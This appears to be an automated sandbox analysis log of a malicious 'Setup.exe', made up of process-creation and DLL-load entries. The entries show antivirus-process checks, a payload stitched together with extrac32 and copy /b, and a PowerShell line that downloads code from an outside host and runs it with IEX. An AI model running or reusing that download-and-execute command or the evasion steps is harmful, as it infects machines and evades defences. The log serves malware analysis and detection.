Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 96053	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gap	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Reprint" Shower	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 96053\Edgar.com + Lightweight + Surely + Prohibited + Pensions + Vid + Bm + Diagram + Value + Temperature + Skill + Pics 96053\Edgar.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Firewall + ..\Rape + ..\Introduced + ..\Infrastructure + ..\Transcript + ..\Lower + ..\Lease R	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com Edgar.com R	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process created: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp "C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$50456,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp "C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$B0354,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
